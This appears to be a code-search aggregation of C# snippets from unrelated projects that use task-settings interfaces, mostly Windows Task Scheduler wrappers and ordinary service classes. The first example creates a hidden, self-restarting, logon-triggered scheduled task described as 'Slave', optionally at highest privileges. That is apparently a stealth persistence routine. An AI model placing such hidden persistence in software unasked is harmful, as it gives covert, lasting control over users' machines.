Example #1
1
        /// <summary>
        /// Task Scheduler by QCX51
        /// <href= "https://msdn.microsoft.com/en-us/library/windows/desktop/aa383608(v=vs.85).aspx"</href>
        /// </summary>
        /// <param name="TaskName">sets the task name</param>
        /// <param name="path">sets the path to an executable file.</param>
        /// <param name="arguments">sets the arguments associated with the command-line operation.</param>
        /// <param name="HighestLevel">if true, tasks will be run with the highest privileges otherwise tasks will be run with the least privileges.</param>
        /// <param name="StartTask">if true, runs the registered task immediately.</param>
        /// <param name="DelayTime">sets a value that indicates the amount of time in seconds between when the user logs on and when the task is started</param>
        /// <param name="ExecTimeLimit">sets the maximum amount of time in seconds that the task is allowed to run.</param>
        ///
        internal static int CreateTask(string TaskName, string path, string arguments, bool HighestLevel, bool StartTask, int DelayTime, int ExecTimeLimit)
        {
            if (!taskService.Connected)
            {
                taskService.Connect();
            }
            //create task service instance
            ITaskDefinition taskDefinition = taskService.NewTask(0);

            taskDefinition.RegistrationInfo.Author = string.Format("Copyright (C) QCX51 {0}", DateTime.Now.Year);
            //taskDefinition.RegistrationInfo.Date = DateTime.Now.ToShortDateString();
            taskDefinition.RegistrationInfo.Description = "Slave";
            // Set Settings
            ITaskSettings TaskSettings = taskDefinition.Settings;

            TaskSettings.Enabled                    = true;
            TaskSettings.AllowDemandStart           = true;
            TaskSettings.Hidden                     = true;
            TaskSettings.StopIfGoingOnBatteries     = false;
            TaskSettings.RunOnlyIfNetworkAvailable  = false;
            TaskSettings.RunOnlyIfIdle              = false;
            TaskSettings.AllowHardTerminate         = false;
            TaskSettings.DisallowStartIfOnBatteries = false;
            TaskSettings.MultipleInstances          = _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW;
            TaskSettings.StartWhenAvailable         = true;
            TaskSettings.WakeToRun                  = true;
            TaskSettings.ExecutionTimeLimit         = ExecTimeLimit > 0 ? "PT" + ExecTimeLimit + "S" : "PT0S";
            // PnYnMnDTnHnMnS P0Y0M0DT0H0M3S
            // PT5M specifies 5 minutes and P1M4DT2H5M specifies one month, four days, two hours, and five minutes.
            TaskSettings.DeleteExpiredTaskAfter = "";
            TaskSettings.RestartCount           = 3;
            TaskSettings.RestartInterval        = "PT5M";
            TaskSettings.Priority      = 8; // 0-10 default: 7
            TaskSettings.Compatibility = _TASK_COMPATIBILITY.TASK_COMPATIBILITY_V2_1;

            IIdleSettings IdleSettings = TaskSettings.IdleSettings;

            IdleSettings.IdleDuration  = "PT1M";
            IdleSettings.WaitTimeout   = "PT3M";
            IdleSettings.RestartOnIdle = false;
            IdleSettings.StopOnIdleEnd = false;

            //create trigger for task creation.
            ITriggerCollection TriggerCollection = taskDefinition.Triggers;
            ILogonTrigger      LogonTrigger      = (ILogonTrigger)TriggerCollection.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);

            LogonTrigger.Id = TaskGUID;
            //LogonTrigger.UserId = "SYSTEM";
            LogonTrigger.Repetition.StopAtDurationEnd = false;
            if (DelayTime > 0)
            {
                LogonTrigger.Delay = "PT" + DelayTime + "S";
            }
            //_trigger.StartBoundary = DateTime.Now.AddSeconds(15).ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss");
            //_trigger.EndBoundary = DateTime.Now.AddMinutes(1).ToString("yyyy'-'MM'-'dd'T'HH':'mm':'ss");
            if (ExecTimeLimit > 0)
            {
                LogonTrigger.ExecutionTimeLimit = "PT" + ExecTimeLimit + "S";
            }
            LogonTrigger.Enabled = true;

            IPrincipal Principal = taskDefinition.Principal;

            Principal.RunLevel = HighestLevel ? _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST : _TASK_RUNLEVEL.TASK_RUNLEVEL_LUA;
            Principal.Id       = "Author";
            //Principal.UserId = "SYSTEM";
            //Principal.DisplayName = "SYSTEM";
            ///get actions.
            IActionCollection actions    = taskDefinition.Actions;
            _TASK_ACTION_TYPE actionType = _TASK_ACTION_TYPE.TASK_ACTION_EXEC;
            //create new action
            IAction     action     = actions.Create(actionType);
            IExecAction execAction = action as IExecAction;

            execAction.WorkingDirectory = Environment.CurrentDirectory;
            execAction.Arguments        = arguments;
            execAction.Path             = path;
            ITaskFolder rootFolder = taskService.GetFolder(@"\");

            IRegisteredTask RegisteredTask = rootFolder.RegisterTaskDefinition(TaskName, taskDefinition, (int)_TASK_CREATION.TASK_CREATE_OR_UPDATE, null, null, _TASK_LOGON_TYPE.TASK_LOGON_NONE, null);

            if (StartTask)
            {
                RegisteredTask.Run(null);
            }
            return(0);
        }
Example #2
0
        private ScheduledJobOptions CreateJobOptions(ITaskDefinition iTaskDefinition)
        {
            ITaskSettings settings = iTaskDefinition.Settings;

            TaskScheduler.IPrincipal principal = iTaskDefinition.Principal;
            return(new ScheduledJobOptions(!settings.DisallowStartIfOnBatteries, settings.StopIfGoingOnBatteries, settings.WakeToRun, !settings.RunOnlyIfIdle, settings.IdleSettings.StopOnIdleEnd, settings.IdleSettings.RestartOnIdle, this.ParseWTSTime(settings.IdleSettings.IdleDuration), this.ParseWTSTime(settings.IdleSettings.WaitTimeout), !settings.Hidden, principal.RunLevel == _TASK_RUNLEVEL.TASK_RUNLEVEL_HIGHEST, !settings.RunOnlyIfNetworkAvailable, !settings.AllowDemandStart, this.ConvertToMultiInstances(settings)));
        }
Example #3
0
 //Constructors
 /// <summary>
 /// Creates an initialized instance.
 /// </summary>
 /// <param name="name">The name of the readout unit (the output field name).</param>
 /// <param name="taskCfg">The readout unit's task configuration.</param>
 public ReadoutUnitSettings(string name, ITaskSettings taskCfg)
 {
     Name    = name;
     TaskCfg = (ITaskSettings)taskCfg.DeepClone();
     Check();
     return;
 }
Example #4
0
        /// <summary>
        /// Converts the Scheduled Task COM representation to Business Entity
        /// </summary>
        /// <param name="task">COM Scheduled Task</param>
        /// <returns>An instance of Scheduled Task</returns>
        private static ScheduledTask TransformToTask(IRegisteredTask task)
        {
            ScheduledTask scheduledTask = new ScheduledTask();

            scheduledTask.Name           = task.Name;
            scheduledTask.CurrentState   = task.State.ToString();
            scheduledTask.TaskPath       = task.Path;
            scheduledTask.NextRunTime    = task.NextRunTime;
            scheduledTask.LastRunTime    = task.LastRunTime;
            scheduledTask.LastRunResults = task.LastTaskResult.ToString();

            ITaskDefinition definition = task.Definition;

            ITaskSettings settings = definition.Settings;

            scheduledTask.Priority = settings.Priority;

            scheduledTask.Settings = new Settings();

            scheduledTask.Settings.Enabled = settings.Enabled;
            scheduledTask.Settings.Hidden  = settings.Hidden;

            IRegistrationInfo registrationInfo = definition.RegistrationInfo;

            scheduledTask.Description = registrationInfo.Description;

            scheduledTask.Author = registrationInfo.Author;

            return(scheduledTask);
        }
Example #5
0
        /// <summary>
        /// Creates an initialized instance.
        /// </summary>
        /// <param name="elem">A xml element containing the configuration data.</param>
        public ReadoutUnitSettings(XElement elem)
        {
            //Validation
            XElement settingsElem = Validate(elem, XsdTypeName);

            //Parsing
            //Name
            Name = settingsElem.Attribute("name").Value;
            //Task
            XElement taskSettingsElem = settingsElem.Elements().First();

            if (taskSettingsElem.Name.LocalName == "forecast")
            {
                TaskCfg = new ForecastTaskSettings(taskSettingsElem);
            }
            else if (taskSettingsElem.Name.LocalName == "classification")
            {
                TaskCfg = new ClassificationTaskSettings(taskSettingsElem);
            }
            else
            {
                throw new ArgumentException("Configuration element does not contain valid task specification.", "elem");
            }
            Check();
            return;
        }
Example #6
0
        public void Start(GameObject panel, GameObject rewardPanel, GameObject punishmentPanel, GameObject spammingText)
        {
            if (GlobalSettings.Gs == null)
            {
                GuiHandler.GoToMainMenu();
            }
            else
            {
                switch (_myType)
                {
                case TaskType.Control:
                    _taskSettings = GlobalSettings.Gs.ControlSettings;
                    break;

                case TaskType.Reward:
                    _taskSettings = GlobalSettings.Gs.RewardSettings;
                    break;

                case TaskType.Punishment:
                    _taskSettings = GlobalSettings.Gs.PunishmentSettings;
                    break;

                default:
                    throw new ArgumentOutOfRangeException();
                }
                _spriteSettings = GlobalSettings.Gs.SpriteSettings;
                _threshold      = GlobalSettings.Gs.Threshold;
            }
            SetPanels(panel, rewardPanel, punishmentPanel, spammingText);
            GetInformation();
            InitValues();
        }
Example #7
0
        private TaskMultipleInstancePolicy ConvertToMultiInstances(ITaskSettings iTaskSettings)
        {
            _TASK_INSTANCES_POLICY multipleInstances = iTaskSettings.MultipleInstances;

            switch (multipleInstances)
            {
            case _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL:
            {
                return(TaskMultipleInstancePolicy.Parallel);
            }

            case _TASK_INSTANCES_POLICY.TASK_INSTANCES_QUEUE:
            {
                return(TaskMultipleInstancePolicy.Queue);
            }

            case _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW:
            {
                return(TaskMultipleInstancePolicy.IgnoreNew);
            }

            case _TASK_INSTANCES_POLICY.TASK_INSTANCES_STOP_EXISTING:
            {
                return(TaskMultipleInstancePolicy.StopExisting);
            }
            }
            return(TaskMultipleInstancePolicy.None);
        }
 public string runGetSettings(string name, string paramz = null)
 {
     var p = ParseParams(paramz);
     var runnerForm = new TaskRunnerForm(name, p, true);
     var showSettingsResult = runnerForm.ShowDialog();
     lastSettings = runnerForm.CurrentTask.Settings;
     return getLastSettings();
 }
Example #9
0
        public string runGetSettings(string name, string paramz = null)
        {
            var p                  = ParseParams(paramz);
            var runnerForm         = new TaskRunnerForm(name, p, true);
            var showSettingsResult = runnerForm.ShowDialog();

            lastSettings = runnerForm.CurrentTask.Settings;
            return(getLastSettings());
        }
Example #10
0
 public PublishStockBalanceUpdatesTask(
     ITaskSettings settings,
     ILastCallsRepository lastCallsRepository,
     IStockBalanceQuery stockBalanceQuery,
     IPimCommandService pimCommandService)
 {
     _settings            = settings;
     _lastCallsRepository = lastCallsRepository;
     _stockBalanceQuery   = stockBalanceQuery;
     _pimCommandService   = pimCommandService;
 }
        public PublishStockBalanceUpdatesTask(
			ITaskSettings settings,
			ILastCallsRepository lastCallsRepository, 
			IStockBalanceQuery stockBalanceQuery, 
			IPimCommandService pimCommandService)
        {
            _settings = settings;
            _lastCallsRepository = lastCallsRepository;
            _stockBalanceQuery = stockBalanceQuery;
            _pimCommandService = pimCommandService;
        }
Example #12
0
 /// <summary>
 /// Initializes a new instance of the <see cref="SendMailTask"/> class.
 /// </summary>
 /// <param name="notificationRepository">The notification repository.</param>
 /// <param name="taskSettings">The task settings.</param>
 /// <param name="logService">The log service.</param>
 /// <param name="notificationSettings">The notification settings.</param>
 public SendMailTask(
     IRepository <EmailNotification> notificationRepository,
     ITaskSettings taskSettings,
     ILoggerService logService,
     INotificationSettings notificationSettings)
 {
     this.notificationRepository = notificationRepository;
     this.taskSettings           = taskSettings;
     this.logService             = logService;
     this.notificationSettings   = notificationSettings;
 }
Example #13
0
        public void SetUp()
        {
            _stateRepository   = new Mock <ILastCallsRepository>();
            _stockBalanceQuery = new Mock <IStockBalanceQuery>();
            _pimCommandService = new Mock <IPimCommandService>();
            _timeOfLastQuery   = DateTime.Now.AddHours(-2);

            _settings = GetSettingsFromAppConfigForUnitTests();

            _stateRepository.Setup(repo => repo.GetTimeOfLastQueryForStockBalanceUpdates()).Returns(_timeOfLastQuery);
            _task = new PublishStockBalanceUpdatesTask(_settings, _stateRepository.Object, _stockBalanceQuery.Object, _pimCommandService.Object);
        }
        public void SetUp()
        {
            _stateRepository = new Mock<ILastCallsRepository>();
            _stockBalanceQuery = new Mock<IStockBalanceQuery>();
            _pimCommandService = new Mock<IPimCommandService>();
            _timeOfLastQuery = DateTime.Now.AddHours(-2);

            _settings = GetSettingsFromAppConfigForUnitTests();

            _stateRepository.Setup(repo => repo.GetTimeOfLastQueryForStockBalanceUpdates()).Returns(_timeOfLastQuery);
            _task = new PublishStockBalanceUpdatesTask(_settings, _stateRepository.Object, _stockBalanceQuery.Object, _pimCommandService.Object);
        }
 public void Init(
     SchedulerTaskScriptDependencies dependencies,
     ITaskSettings settings,
     ScriptFlow flow,
     ScriptUtility utils
     )
 {
     this.x = utils;
     this.Settings = settings;
     this.Flow = flow;
     this.Dependencies = dependencies;
     if (dependencies!=null && dependencies.GetType() != DependencyClassType) throw new InvalidOperationException("Wrong dependency class provided");
 }
        public PublishPriceUpdatesTask(
			ITaskSettings settings,
			ILastCallsRepository lastCallsRepository, 
			IPriceUpdateQuery priceUpdateQuery,
			ICustomerAgreementQuery customerAgreementQuery,
			IPimCommandService pimCommandService)
        {
            _settings = settings;
            _lastCallsRepository = lastCallsRepository;
            _priceUpdateQuery = priceUpdateQuery;
            _pimCommandService = pimCommandService;
            _customerAgreementQuery = customerAgreementQuery;

            _timeOfLastQueryForPriceUpdates = lastCallsRepository.GetTimeOfLastQueryForPriceUpdates();
        }
Example #17
0
        public GetNewProductsTask(
			ITaskSettings settings,
			ILastCallsRepository lastCallsRepository, 
			IPimQueryService pimQueryService,
			IPimCommandService pimCommandService,
			IArticleManager articleManager, 
			IMapper mapper)
        {
            _settings = settings;
            _lastCallsRepository = lastCallsRepository;
            _pimQueryService = pimQueryService;
            _pimCommandService = pimCommandService;
            _articleManager = articleManager;
            _mapper = mapper;
        }
Example #18
0
        public PublishPriceUpdatesTask(
            ITaskSettings settings,
            ILastCallsRepository lastCallsRepository,
            IPriceUpdateQuery priceUpdateQuery,
            ICustomerAgreementQuery customerAgreementQuery,
            IPimCommandService pimCommandService)
        {
            _settings               = settings;
            _lastCallsRepository    = lastCallsRepository;
            _priceUpdateQuery       = priceUpdateQuery;
            _pimCommandService      = pimCommandService;
            _customerAgreementQuery = customerAgreementQuery;

            _timeOfLastQueryForPriceUpdates = lastCallsRepository.GetTimeOfLastQueryForPriceUpdates();
        }
 public string run(string name, string paramz = null)
 {
     var p = ParseParams(paramz);
     var runnerForm = new TaskRunnerForm(name, p);
     var showSettingsResult = runnerForm.ShowDialog();
     if (showSettingsResult == DialogResult.Yes)
     {
         lastSettings = runnerForm.CurrentTask.Settings;
     }
     else
     {
         lastSettings = null;
     }
     return getLastSettings();
 }
Example #20
0
 public GetNewProductsTask(
     ITaskSettings settings,
     ILastCallsRepository lastCallsRepository,
     IPimQueryService pimQueryService,
     IPimCommandService pimCommandService,
     IArticleManager articleManager,
     IMapper mapper)
 {
     _settings            = settings;
     _lastCallsRepository = lastCallsRepository;
     _pimQueryService     = pimQueryService;
     _pimCommandService   = pimCommandService;
     _articleManager      = articleManager;
     _mapper = mapper;
 }
Example #21
0
        public string run(string name, string paramz = null)
        {
            var p                  = ParseParams(paramz);
            var runnerForm         = new TaskRunnerForm(name, p);
            var showSettingsResult = runnerForm.ShowDialog();

            if (showSettingsResult == DialogResult.Yes)
            {
                lastSettings = runnerForm.CurrentTask.Settings;
            }
            else
            {
                lastSettings = null;
            }
            return(getLastSettings());
        }
 public void Init(
     SchedulerTaskScriptDependencies dependencies,
     ITaskSettings settings,
     ScriptFlow flow,
     ScriptUtility utils
     )
 {
     this.x            = utils;
     this.Settings     = settings;
     this.Flow         = flow;
     this.Dependencies = dependencies;
     if (dependencies != null && dependencies.GetType() != DependencyClassType)
     {
         throw new InvalidOperationException("Wrong dependency class provided");
     }
 }
Example #23
0
        public virtual void CollectSettings(ITaskSettings Settings)
        {
            (Settings as TaskSettings).Tags = new List <Tag>();

            for (int i = 0; i < dataGridView.RowCount; i++)
            {
                (Settings as TaskSettings).Tags.Add(
                    new Tag()
                {
                    Path = dataGridView.Rows[i].Cells[0].Value == null
                                       ? string.Empty
                                       : dataGridView.Rows[i].Cells[0].Value.ToString(),
                    Encoding = dataGridView.Rows[i].Cells[1].Value.ToString() == "ANSI"
                                           ? EncodingType.ANSI
                                           : EncodingType.UTF8
                });
            }
        }
Example #24
0
        private TaskMultipleInstancePolicy ConvertToMultiInstances(
            ITaskSettings iTaskSettings)
        {
            switch (iTaskSettings.MultipleInstances)
            {
            case _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW:
                return(TaskMultipleInstancePolicy.IgnoreNew);

            case _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL:
                return(TaskMultipleInstancePolicy.Parallel);

            case _TASK_INSTANCES_POLICY.TASK_INSTANCES_QUEUE:
                return(TaskMultipleInstancePolicy.Queue);

            case _TASK_INSTANCES_POLICY.TASK_INSTANCES_STOP_EXISTING:
                return(TaskMultipleInstancePolicy.StopExisting);
            }

            Debug.Assert(false);
            return(TaskMultipleInstancePolicy.None);
        }
Example #25
0
        /// <summary>
        /// Creates an initialized instance.
        /// </summary>
        /// <param name="elem">Xml data containing the settings.</param>
        public ReadoutUnitSettings(XElement elem)
        {
            //Validation
            XElement settingsElem = Validate(elem, XsdTypeName);

            //Parsing
            //Name
            Name = settingsElem.Attribute("name").Value;
            //Task
            XElement taskSettingsElem = settingsElem.Elements().First();

            if (taskSettingsElem.Name.LocalName == "forecast")
            {
                TaskCfg = new ForecastTaskSettings(taskSettingsElem);
            }
            else
            {
                TaskCfg = new ClassificationTaskSettings(taskSettingsElem);
            }
            Check();
            return;
        }
Example #26
0
		private TaskMultipleInstancePolicy ConvertToMultiInstances(ITaskSettings iTaskSettings)
		{
			_TASK_INSTANCES_POLICY multipleInstances = iTaskSettings.MultipleInstances;
			switch (multipleInstances)
			{
				case _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL:
				{
					return TaskMultipleInstancePolicy.Parallel;
				}
				case _TASK_INSTANCES_POLICY.TASK_INSTANCES_QUEUE:
				{
					return TaskMultipleInstancePolicy.Queue;
				}
				case _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW:
				{
					return TaskMultipleInstancePolicy.IgnoreNew;
				}
				case _TASK_INSTANCES_POLICY.TASK_INSTANCES_STOP_EXISTING:
				{
					return TaskMultipleInstancePolicy.StopExisting;
				}
			}
			return TaskMultipleInstancePolicy.None;
		}
Example #27
0
 public void OnEnable()
 {
     _taskSettings = GlobalSettings.Gs.GetSettings(Type);
     _newValue     = _taskSettings.NonIncentivePercentage;
     ChangeInputFieldText(_newValue.ToString("0.00"));
 }
Example #28
0
 public PimRequestLogRepository(ITaskSettings settings)
 {
     _connectionString = settings.SqliteConnectionString;
     EnsureTableExists();
 }
 public void OnEnable()
 {
     _taskSettings = GlobalSettings.Gs.GetSettings(Type);
     _newValue     = _taskSettings.NumberOfTasks;
     ChangeInputFieldText(_newValue.ToString());
 }
 public ProductQueryDequeuer(ITaskSettings settings, IPimRequestLogRepository pimRequestLogRepository)
 {
     _settings = settings;
     _pimRequestLogRepository = pimRequestLogRepository;
 }
 public PimRequestLogRepository(ITaskSettings settings)
 {
     _connectionString = settings.SqliteConnectionString;
     EnsureTableExists();
 }
Example #32
0
 internal TaskSettings(ITaskSettings iSettings)
 {
     this._v2Settings = iSettings;
     try { this._v2Settings2 = (ITaskSettings2)this._v2Settings; }
     catch { }
 }
Example #33
0
 public ProductQueryDequeuer(ITaskSettings settings, IPimRequestLogRepository pimRequestLogRepository)
 {
     _settings = settings;
     _pimRequestLogRepository = pimRequestLogRepository;
 }
Example #34
0
 public LastCallsRepository(ITaskSettings settings)
 {
     _connectionString = settings.SqliteConnectionString;
     _settings = settings;
     EnsureTableAndExpectedRowsExists();
 }
 public void SetUp()
 {
     _settings = CreateTaskSettings(10);
     _settings.SqliteConnectionString = ConfigurationManager.ConnectionStrings["SQLite"].ConnectionString;
     _repository = new LastCallsRepository(_settings);
 }
 public void UpdatePunishmentSettings(ITaskSettings newSettings)
 {
     PunishmentSettings = newSettings;
 }
 public void UpdateRewardsSettings(ITaskSettings newSettings)
 {
     RewardSettings = newSettings;
 }
Example #38
0
 internal TaskSettings(ITaskSettings iSettings)
 {
     this._v2Settings = iSettings;
     try { this._v2Settings2 = (ITaskSettings2)this._v2Settings; }
     catch { }
 }
        public HTMLStaticSiteTaskSettings(ITaskSettings Settings)
            : this()
        {
            if (!(Settings is TaskSettings))
            {
                return;
            }

            // Apply Settings settings
            this.Categories             = (Settings as TaskSettings).Categories;
            this.CategoriesDistribution = (Settings as TaskSettings).CategoriesDistribution;

            this.Entrance            = (Settings as TaskSettings).Entrance;
            this.EntranceAcceptor    = (Settings as TaskSettings).EntranceAcceptor;
            this.EntranceAcceptorURL = (Settings as TaskSettings).EntranceAcceptorURL;
            this.EntranceCode        = (Settings as TaskSettings).EntranceCode;
            this.EntranceInsert      = (Settings as TaskSettings).EntranceInsert;
            this.EntranceJSEncrypt   = (Settings as TaskSettings).EntranceJSEncrypt;

            this.FileTokens = (Settings as TaskSettings).FileTokens;

            this.FTP                 = (Settings as TaskSettings).FTP;
            this.FTPData             = (Settings as TaskSettings).FTPData;
            this.FTPDeleteWhenUpload = (Settings as TaskSettings).FTPDeleteWhenUpload;
            this.FTPExportPath       = (Settings as TaskSettings).FTPExportPath;

            this.GeneralArchive        = (Settings as TaskSettings).GeneralArchive;
            this.GeneralArchiveName    = (Settings as TaskSettings).GeneralArchiveName;
            this.GeneralSavePath       = (Settings as TaskSettings).GeneralSavePath;
            this.GeneralSiteCount      = (Settings as TaskSettings).GeneralSiteCount;
            this.GeneralSubDirectories = (Settings as TaskSettings).GeneralSubDirectories;
            this.GeneralThreadCount    = (Settings as TaskSettings).GeneralThreadCount;
            this.GeneralUrls           = (Settings as TaskSettings).GeneralUrls;

            this.ImageMakerName = (Settings as TaskSettings).ImageMakerName;
            this.Images         = (Settings as TaskSettings).Images;

            this.KeywordsGenerateFourWords     = (Settings as TaskSettings).KeywordsGenerateFourWords;
            this.KeywordsGenerateFourWordsMax  = (Settings as TaskSettings).KeywordsGenerateFourWordsMax;
            this.KeywordsGenerateFourWordsMin  = (Settings as TaskSettings).KeywordsGenerateFourWordsMin;
            this.KeywordsGenerateThreeWords    = (Settings as TaskSettings).KeywordsGenerateThreeWords;
            this.KeywordsGenerateThreeWordsMax = (Settings as TaskSettings).KeywordsGenerateThreeWordsMax;
            this.KeywordsGenerateThreeWordsMin = (Settings as TaskSettings).KeywordsGenerateThreeWordsMin;
            this.KeywordsGenerateTwoWords      = (Settings as TaskSettings).KeywordsGenerateTwoWords;
            this.KeywordsGenerateTwoWordsMax   = (Settings as TaskSettings).KeywordsGenerateTwoWordsMax;
            this.KeywordsGenerateTwoWordsMin   = (Settings as TaskSettings).KeywordsGenerateTwoWordsMin;
            this.KeywordsID                     = (Settings as TaskSettings).KeywordsID;
            this.KeywordsMerge                  = (Settings as TaskSettings).KeywordsMerge;
            this.KeywordsMergeUsage             = (Settings as TaskSettings).KeywordsMergeUsage;
            this.KeywordsMergeFileEncoding      = (Settings as TaskSettings).KeywordsMergeFileEncoding;
            this.KeywordsMergeFilePath          = (Settings as TaskSettings).KeywordsMergeFilePath;
            this.KeywordsMergeID                = (Settings as TaskSettings).KeywordsMergeID;
            this.KeywordsMergeMax               = (Settings as TaskSettings).KeywordsMergeMax;
            this.KeywordsMergeMin               = (Settings as TaskSettings).KeywordsMergeMin;
            this.KeywordsOnPageMax              = (Settings as TaskSettings).KeywordsOnPageMax;
            this.KeywordsOnPageMin              = (Settings as TaskSettings).KeywordsOnPageMin;
            this.KeywordsReorder                = (Settings as TaskSettings).KeywordsReorder;
            this.KeywordsReorderWords           = (Settings as TaskSettings).KeywordsReorderWords;
            this.KeywordsReorderWordsMaxPercent = (Settings as TaskSettings).KeywordsReorderWordsMaxPercent;
            this.KeywordsReorderWordsMinPercent = (Settings as TaskSettings).KeywordsReorderWordsMinPercent;
            this.KeywordsSelect                 = (Settings as TaskSettings).KeywordsSelect;
            this.KeywordsSelectMax              = (Settings as TaskSettings).KeywordsSelectMax;
            this.KeywordsSelectMin              = (Settings as TaskSettings).KeywordsSelectMin;
            this.KeywordsSynonyms               = (Settings as TaskSettings).KeywordsSynonyms;
            this.KeywordsSynonymsFileEncoding   = (Settings as TaskSettings).KeywordsSynonymsFileEncoding;
            this.KeywordsSynonymsFilePath       = (Settings as TaskSettings).KeywordsSynonymsFilePath;
            this.KeywordsSynonymsID             = (Settings as TaskSettings).KeywordsSynonymsID;
            this.KeywordsSynonymsMaxPercent     = (Settings as TaskSettings).KeywordsSynonymsMaxPercent;
            this.KeywordsSynonymsMinPercent     = (Settings as TaskSettings).KeywordsSynonymsMinPercent;

            this.Links             = (Settings as TaskSettings).Links;
            this.LinksSave         = (Settings as TaskSettings).LinksSave;
            this.LinksSaveEncoding = (Settings as TaskSettings).LinksSaveEncoding;
            this.LinksSavePath     = (Settings as TaskSettings).LinksSavePath;

            this.Map     = (Settings as TaskSettings).Map;
            this.MapHTML = (Settings as TaskSettings).MapHTML;
            this.MapHTMLLinksOnPageMax  = (Settings as TaskSettings).MapHTMLLinksOnPageMax;
            this.MapHTMLLinksOnPageMin  = (Settings as TaskSettings).MapHTMLLinksOnPageMin;
            this.MapHTMLName            = (Settings as TaskSettings).MapHTMLName;
            this.MapIncludeCategories   = (Settings as TaskSettings).MapIncludeCategories;
            this.MapIncludeCustomPages  = (Settings as TaskSettings).MapIncludeCustomPages;
            this.MapIncludeIndex        = (Settings as TaskSettings).MapIncludeIndex;
            this.MapIncludeRegularPages = (Settings as TaskSettings).MapIncludeRegularPages;
            this.MapIncludeStaticPages  = (Settings as TaskSettings).MapIncludeStaticPages;
            this.MapXMLName             = (Settings as TaskSettings).MapXMLName;

            this.PresetID = (Settings as TaskSettings).PresetID;

            this.Robots        = (Settings as TaskSettings).Robots;
            this.RobotsContent = (Settings as TaskSettings).RobotsContent;

            this.RSS        = (Settings as TaskSettings).RSS;
            this.RSSContent = (Settings as TaskSettings).RSSContent;
            this.RSSLength  = (Settings as TaskSettings).RSSLength;

            this.StaticPages = (Settings as TaskSettings).StaticPages;

            this.TemplateID = (Settings as TaskSettings).TemplateID;

            this.TextLinks          = (Settings as TaskSettings).TextLinks;
            this.TextLinksLengthMax = (Settings as TaskSettings).TextLinksLengthMax;
            this.TextLinksLengthMin = (Settings as TaskSettings).TextLinksLengthMin;
            this.TextLinksNumberMax = (Settings as TaskSettings).TextLinksNumberMax;
            this.TextLinksNumberMin = (Settings as TaskSettings).TextLinksNumberMin;
            this.TextMakerName      = (Settings as TaskSettings).TextMakerName;

            this.TokenCounter       = (Settings as TaskSettings).TokenCounter;
            this.TokenExternalLinks = (Settings as TaskSettings).TokenExternalLinks;
            this.TokenInternalLinks = (Settings as TaskSettings).TokenInternalLinks;
            this.TokenMainLink      = (Settings as TaskSettings).TokenMainLink;
            this.TokenMainLinks     = (Settings as TaskSettings).TokenMainLinks;
            this.TokenSite          = (Settings as TaskSettings).TokenSite;
            this.TokenTitle         = (Settings as TaskSettings).TokenTitle;

            this.WorkSpaceID = (Settings as TaskSettings).WorkSpaceID;
        }
 public void SetUp()
 {
     _settings = CreateTaskSettings(10);
     _settings.SqliteConnectionString = ConfigurationManager.ConnectionStrings["SQLite"].ConnectionString;
     _repository = new LastCallsRepository(_settings);
 }
Example #41
0
 public PHPSQLiteStaticSiteTaskSettings(ITaskSettings Settings)
     : base(Settings)
 {
 }
Example #42
0
        private TaskMultipleInstancePolicy ConvertToMultiInstances(
            ITaskSettings iTaskSettings)
        {
            switch (iTaskSettings.MultipleInstances)
            {
                case _TASK_INSTANCES_POLICY.TASK_INSTANCES_IGNORE_NEW:
                    return TaskMultipleInstancePolicy.IgnoreNew;

                case _TASK_INSTANCES_POLICY.TASK_INSTANCES_PARALLEL:
                    return TaskMultipleInstancePolicy.Parallel;

                case _TASK_INSTANCES_POLICY.TASK_INSTANCES_QUEUE:
                    return TaskMultipleInstancePolicy.Queue;

                case _TASK_INSTANCES_POLICY.TASK_INSTANCES_STOP_EXISTING:
                    return TaskMultipleInstancePolicy.StopExisting;
            }

            Debug.Assert(false);
            return TaskMultipleInstancePolicy.None;
        }
 public void UpdateControlSettings(ITaskSettings newSettings)
 {
     ControlSettings = newSettings;
 }
Example #44
0
 public LastCallsRepository(ITaskSettings settings)
 {
     _connectionString = settings.SqliteConnectionString;
     _settings         = settings;
     EnsureTableAndExpectedRowsExists();
 }